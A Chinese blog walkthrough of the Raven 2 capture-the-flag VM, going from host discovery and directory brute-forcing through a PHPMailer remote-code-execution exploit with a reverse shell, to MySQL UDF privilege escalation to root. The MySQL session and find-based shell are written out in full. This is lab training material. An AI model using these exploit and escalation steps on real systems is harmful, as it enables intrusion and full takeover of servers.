zoukankan      html  css  js  c++  java
  • Raven 2 靶机渗透

    0X00 前言
    Raven 2中一共有四个flag,Raven 2是一个中级boot2root VM。有四个标志要捕获。在多次破坏之后,Raven Security采取了额外措施来强化他们的网络服务器,以防止黑客进入。
     
    提权辅助工具linuxprivchecker.py下载:https://download.csdn.net/download/weixin_41082546/11609428
     
    0x01 发现存活主机
    该虚拟机默认是NAT模式,因此无需调整网络模式
    使用netdiscover 或者 arp-scan 获取 目标主机 ip:192.168.88.211
    arp-scan -l 或者 netdiscover -r 192.168.88.1/24
    探测目标主机开放端口以及服务信息
    目标开放了22、80、111端口
    访问web服务
    0x02 web渗透
    1.目录爆破
    dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测
    dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt
    我们可以根据需要指定字典进行扫描
    dirb http://192.168.88.211 /root/dir/dir_big.txt
    使用dirb和dirsearch同时进行目录爆破,相比而言,dirb扫描结果貌似要好很多。
    扫到一些目录,逐个去查看目录下是否存在flag
    在vendor下的 PATH 目录发现flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
    并且获得网站绝对路径:/var/www/html/vendor/
    继续向下翻,一些PHPMailer的示例和说明文档等文件,貌似没什么用!
    在vendor下存在一个版本说明文件,这个应该就是PHPMailer的版本信息了。
    0x03 漏洞利用
    PHPMailer版本小于5.2.20存在远程代码执行漏洞
    使用searchsploit 搜索 可以利用的漏洞
    修改exp,替换目标ip target为靶机ip,反弹连接的地址为kali地址。开启本地nc监听。
    添加申明,否则非ASCII码字符会报错 # -*- coding: utf-8 -*-
    修改后门路径地址 /var/www/html/
    nc -nvlp 4444
    运行该exp提示缺少requests_toolbelt模块,
    pip install requests_toolbelt 安装该模块
    python3 40974.py 执行exp 就会生成一个http://192.168.88.211/contact.php
    访问链接,就会在网站根目录下生成一个backdoor.php
    访问http://192.168.88.211/shell.php nc成功接收到反弹的shell
     
    获取完整性shell,将shell转化为pty shell.
    python -c 'import pty;pty.spawn("/bin/bash")';
    在www目录下找到 flag2{6a8ed560f0b5358ecf844108048eb337}
    在wordpress目录下通过find /var/www/html -name flag* 搜索发现flag3.png
    访问http://192.168.88.211/wordpress/ 是一个wordpress站点
    直接访问后台wp-admin,
    注:直接访问后台会连接错误,需要修改hosts文件,将192.168.88.211指向raven.local
    进入wordpress目录打开wp-config.php找到数据库用户名密码
    /** MySQL database username */
    define('DB_USER', 'root');
     
    /** MySQL database password */
    define('DB_PASSWORD', 'R@v3nSecurity');
    0X04 权限提升
    使用提权脚本进行提权
    开启web服务 php -S 0.0.0.0:88 -t /root
    将提权脚本LinEnum.sh通过 wget 下载到目标机器
     
    使用UDF提权
    开启web服务,将udf exp 发送到 目标机器
    python -m SimpleHTTPServer 88
    在目标机器上编译会出错,我们可以本地编译好再上传。
    gcc -g -c 1518.c gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o –lc
    编译完成后会生成1518.c 和 1518.so文件,我们只需要so文件
    www-data@Raven:/tmp$ mysql -uroot -pR@v3nSecurity
    mysql -uroot -pR@v3nSecurity
    Welcome to the MySQL monitor. Commands end with ; or g.
    Your MySQL connection id is 60
    Server version: 5.5.60-0+deb8u1 (Debian)
     
    Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
     
    Oracle is a registered trademark of Oracle Corporation and/or its
    affiliates. Other names may be trademarks of their respective
    owners.
     
    Type 'help;' or 'h' for help. Type 'c' to clear the current input statement.
     
    mysql> show databases;
    show databases;
    +--------------------+
    | Database |
    +--------------------+
    | information_schema |
    | mysql |
    | performance_schema |
    | wordpress |
    +--------------------+
    4 rows in set (0.00 sec)
     
    mysql> use mysql;
    use mysql;
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A
     
    Database changed
    mysql> create table Micr067(line blob);
    create table Micr067(line blob);
    Query OK, 0 rows affected (0.00 sec)
     
    mysql> insert into Micr067 values(load_file('/tmp/1518.so'));
    insert into Micr067 values(load_file('/tmp/1518.so'));
    Query OK, 1 row affected (0.00 sec)
     
    mysql> select * from Micr067 into dumpfile '/usr/lib/mysql/plugin/1518.so';
    select * from Micr067 into dumpfile '/usr/lib/mysql/plugin/1518.so';
    Query OK, 1 row affected (0.00 sec)
     
    mysql> create function do_system returns integer soname '1518.so';
    create function do_system returns integer soname '1518.so';
    Query OK, 0 rows affected (0.00 sec)
     
    mysql> select * from mysql.func;
    select * from mysql.func;
    +-----------+-----+---------+----------+
    | name | ret | dl | type |
    +-----------+-----+---------+----------+
    | do_system | 2 | 1518.so | function |
    +-----------+-----+---------+----------+
    1 row in set (0.00 sec)
     
    mysql> select do_system('chmod u+s /usr/bin/find');
    select do_system('chmod u+s /usr/bin/find');
    +--------------------------------------+
    | do_system('chmod u+s /usr/bin/find') |
    +--------------------------------------+
    | 0 |
    +--------------------------------------+
    1 row in set (0.01 sec)
     
    mysql> quit
    quit
    Bye
    www-data@Raven:/tmp$ touch Micr067
    touch Micr067
    www-data@Raven:/tmp$ find Micr067 -exec 'whoami' ;
    find Micr067 -exec 'whoami' ;
    root
    www-data@Raven:/tmp$ find Micr067 -exec '/bin/sh' ;
    find Micr067 -exec '/bin/sh' ;
     
    在root目录下找到 flag4{df2bc5e951d91581467bb9a2a8ff4425}

    后记:看到你们不断拿到shell,我已经瑟瑟发抖,最近被那个挖洞被抓的新闻搞得人心惶惶。。。

  • 相关阅读:
    vue项目搭建
    轮播 删除中间的还是居中
    随内容增加,背景不设高度自适应,背景图不拉伸和变形
    緢点连接
    左侧背景,右侧数据,根据数据左侧背景自适应
    问题
    手机访问网站,点击手机号码直接拨打电话
    长度超出之后文字变成省略号
    css中vw,vh单位对于UC的兼容性问题
    线性渐变的兼容性写法
  • 原文地址:https://www.cnblogs.com/micr067/p/11405274.html
Copyright © 2011-2022 走看看